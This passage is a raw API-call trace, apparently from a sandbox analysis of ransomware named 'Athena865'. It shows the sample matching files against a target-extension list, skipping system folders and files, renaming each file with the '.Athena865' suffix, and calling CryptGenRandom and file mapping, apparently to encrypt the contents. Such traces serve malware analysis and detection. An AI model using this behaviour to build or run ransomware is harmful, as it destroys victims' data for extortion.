lpString2="db3") returned 1 [0138.179] lstrlenW (lpString="dbf") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.179] lstrlenW (lpString="mdf") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.179] lstrlenW (lpString="mdb") returned 3 [0138.179] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.180] lstrlenW (lpString="sql") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.180] lstrlenW (lpString="sqlite") returned 6 [0138.180] lstrcmpiW (lpString1="28.WMF", lpString2="sqlite") returned -1 [0138.180] lstrlenW (lpString="sqlite3") returned 7 [0138.180] lstrcmpiW (lpString1="328.WMF", lpString2="sqlite3") returned -1 [0138.180] lstrlenW (lpString="sqlitedb") returned 8 [0138.180] lstrcmpiW (lpString1="3328.WMF", lpString2="sqlitedb") returned -1 [0138.180] lstrlenW (lpString="xml") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.180] lstrlenW (lpString="$er") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.180] lstrlenW (lpString="4dd") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.180] lstrlenW (lpString="4dl") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.180] lstrlenW (lpString="^^^") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.180] lstrlenW (lpString="abs") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.180] lstrlenW (lpString="abx") returned 3 [0138.180] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.180] lstrlenW (lpString="accdb") returned 5 [0138.180] lstrcmpiW (lpString1="8.WMF", lpString2="accdb") returned -1 [0138.180] lstrlenW (lpString="accdc") returned 5 [0138.180] lstrcmpiW (lpString1="8.WMF", lpString2="accdc") returned -1 [0138.180] lstrlenW (lpString="accde") returned 5 [0138.180] lstrcmpiW (lpString1="8.WMF", lpString2="accde") returned -1 [0138.181] lstrlenW (lpString="accdr") returned 5 [0138.181] lstrcmpiW (lpString1="8.WMF", lpString2="accdr") returned -1 [0138.181] lstrlenW (lpString="accdt") returned 5 [0138.181] lstrcmpiW (lpString1="8.WMF", lpString2="accdt") returned -1 [0138.181] lstrlenW (lpString="accdw") returned 5 [0138.181] lstrcmpiW (lpString1="8.WMF", lpString2="accdw") returned -1 [0138.181] lstrlenW (lpString="accft") returned 5 [0138.181] lstrcmpiW (lpString1="8.WMF", lpString2="accft") returned -1 [0138.181] lstrlenW (lpString="adb") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.181] lstrlenW (lpString="adb") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.181] lstrlenW (lpString="ade") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.181] lstrlenW (lpString="adf") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.181] lstrlenW (lpString="adn") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.181] lstrlenW (lpString="adp") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.181] lstrlenW (lpString="alf") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.181] lstrlenW (lpString="ask") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.181] lstrlenW (lpString="btr") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.181] lstrlenW (lpString="cat") returned 3 [0138.181] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.181] lstrlenW (lpString="cdb") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.182] lstrlenW (lpString="ckp") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.182] lstrlenW (lpString="cma") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.182] lstrlenW (lpString="cpd") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.182] lstrlenW (lpString="dacpac") returned 6 [0138.182] lstrcmpiW (lpString1="28.WMF", lpString2="dacpac") returned -1 [0138.182] lstrlenW (lpString="dad") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.182] lstrlenW (lpString="dadiagrams") returned 10 [0138.182] lstrcmpiW (lpString1="183328.WMF", lpString2="dadiagrams") returned -1 [0138.182] lstrlenW (lpString="daschema") returned 8 [0138.182] lstrcmpiW (lpString1="3328.WMF", lpString2="daschema") returned -1 [0138.182] lstrlenW (lpString="db-journal") returned 10 [0138.182] lstrcmpiW (lpString1="183328.WMF", lpString2="db-journal") returned -1 [0138.182] lstrlenW (lpString="db-shm") returned 6 [0138.182] lstrcmpiW (lpString1="28.WMF", lpString2="db-shm") returned -1 [0138.182] lstrlenW (lpString="db-wal") returned 6 [0138.182] lstrcmpiW (lpString1="28.WMF", lpString2="db-wal") returned -1 [0138.182] lstrlenW (lpString="dbc") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.182] lstrlenW (lpString="dbs") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.182] lstrlenW (lpString="dbt") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.182] lstrlenW (lpString="dbv") returned 3 [0138.182] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.183] lstrlenW (lpString="dbx") returned 3 [0138.183] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.183] lstrlenW (lpString="dcb") returned 3 [0138.183] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.183] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.Athena865") returned 71 [0138.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.athena865"), dwFlags=0x1) returned 1 [0138.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.185] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5370) returned 1 [0138.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.185] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.186] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.186] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.186] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x154 [0138.188] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1800) returned 0x100000 [0138.189] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.190] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.190] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.190] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.191] CloseHandle (hObject=0x154) returned 1 [0138.191] CloseHandle (hObject=0x17c) returned 1 [0138.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.191] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2=".") returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="..") returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="windows") returned -1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="bootmgr") returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="temp") returned -1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="pagefile.sys") returned -1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="boot") returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="ids.txt") returned 1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="ntuser.dat") returned -1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="perflogs") returned -1 [0138.191] lstrcmpiW (lpString1="J0185604.WMF", lpString2="MSBuild") returned -1 [0138.192] lstrlenW (lpString="J0185604.WMF") returned 12 [0138.192] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0185604.WMF" | out: lpString1="J0185604.WMF") returned="J0185604.WMF" [0138.192] lstrlenW (lpString="J0185604.WMF") returned 12 [0138.192] lstrlenW (lpString="Athena865") returned 9 [0138.192] lstrcmpiW (lpString1="85604.WMF", lpString2="Athena865") returned -1 [0138.192] lstrlenW (lpString=".dll") returned 4 [0138.192] lstrcmpiW (lpString1="J0185604.WMF", lpString2=".dll") returned 1 [0138.192] lstrlenW (lpString=".lnk") returned 4 [0138.192] lstrcmpiW (lpString1="J0185604.WMF", lpString2=".lnk") returned 1 [0138.192] lstrlenW (lpString=".ini") returned 4 [0138.192] lstrcmpiW (lpString1="J0185604.WMF", lpString2=".ini") returned 1 [0138.192] lstrlenW (lpString=".sys") returned 4 [0138.192] lstrcmpiW (lpString1="J0185604.WMF", lpString2=".sys") returned 1 [0138.192] lstrlenW (lpString="J0185604.WMF") returned 12 [0138.192] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.Athena865") returned 71 [0138.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.athena865"), dwFlags=0x1) returned 1 [0138.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.194] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5916) returned 1 [0138.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.194] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.195] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.195] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.195] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a20, lpName=0x0) returned 0x154 [0138.198] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a20) returned 0x100000 [0138.199] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.200] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.200] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.200] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.201] CloseHandle (hObject=0x154) returned 1 [0138.201] CloseHandle (hObject=0x17c) returned 1 [0138.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.201] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2=".") returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="..") returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="windows") returned -1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="bootmgr") returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="temp") returned -1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="pagefile.sys") returned -1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="boot") returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="ids.txt") returned 1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="ntuser.dat") returned -1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="perflogs") returned -1 [0138.201] lstrcmpiW (lpString1="J0186002.WMF", lpString2="MSBuild") returned -1 [0138.201] lstrlenW (lpString="J0186002.WMF") returned 12 [0138.201] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0186002.WMF" | out: lpString1="J0186002.WMF") returned="J0186002.WMF" [0138.202] lstrlenW (lpString="J0186002.WMF") returned 12 [0138.202] lstrlenW (lpString="Athena865") returned 9 [0138.202] lstrcmpiW (lpString1="86002.WMF", lpString2="Athena865") returned -1 [0138.202] lstrlenW (lpString=".dll") returned 4 [0138.202] lstrcmpiW (lpString1="J0186002.WMF", lpString2=".dll") returned 1 [0138.202] lstrlenW (lpString=".lnk") returned 4 [0138.202] lstrcmpiW (lpString1="J0186002.WMF", lpString2=".lnk") returned 1 [0138.202] lstrlenW (lpString=".ini") returned 4 [0138.202] lstrcmpiW (lpString1="J0186002.WMF", lpString2=".ini") returned 1 [0138.202] lstrlenW (lpString=".sys") returned 4 [0138.202] lstrcmpiW (lpString1="J0186002.WMF", lpString2=".sys") returned 1 [0138.202] lstrlenW (lpString="J0186002.WMF") returned 12 [0138.202] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.Athena865") returned 71 [0138.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.athena865"), dwFlags=0x1) returned 1 [0138.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.205] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12132) returned 1 [0138.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.206] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.207] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.207] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.207] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3270, lpName=0x0) returned 0x154 [0138.208] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3270) returned 0x100000 [0138.209] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.210] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.210] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.211] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.211] CloseHandle (hObject=0x154) returned 1 [0138.211] CloseHandle (hObject=0x17c) returned 1 [0138.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.211] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0138.211] lstrcmpiW (lpString1="J0186348.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.211] lstrcmpiW (lpString1="J0186348.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2=".") returned 1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="..") returned 1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="windows") returned -1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="bootmgr") returned 1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="temp") returned -1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="pagefile.sys") returned -1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="boot") returned 1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="ids.txt") returned 1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="ntuser.dat") returned -1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="perflogs") returned -1 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2="MSBuild") returned -1 [0138.212] lstrlenW (lpString="J0186348.WMF") returned 12 [0138.212] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0186348.WMF" | out: lpString1="J0186348.WMF") returned="J0186348.WMF" [0138.212] lstrlenW (lpString="J0186348.WMF") returned 12 [0138.212] lstrlenW (lpString="Athena865") returned 9 [0138.212] lstrcmpiW (lpString1="86348.WMF", lpString2="Athena865") returned -1 [0138.212] lstrlenW (lpString=".dll") returned 4 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2=".dll") returned 1 [0138.212] lstrlenW (lpString=".lnk") returned 4 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2=".lnk") returned 1 [0138.212] lstrlenW (lpString=".ini") returned 4 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2=".ini") returned 1 [0138.212] lstrlenW (lpString=".sys") returned 4 [0138.212] lstrcmpiW (lpString1="J0186348.WMF", lpString2=".sys") returned 1 [0138.212] lstrlenW (lpString="J0186348.WMF") returned 12 [0138.212] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.Athena865") returned 71 [0138.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.athena865"), dwFlags=0x1) returned 1 [0138.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.214] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6970) returned 1 [0138.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.214] 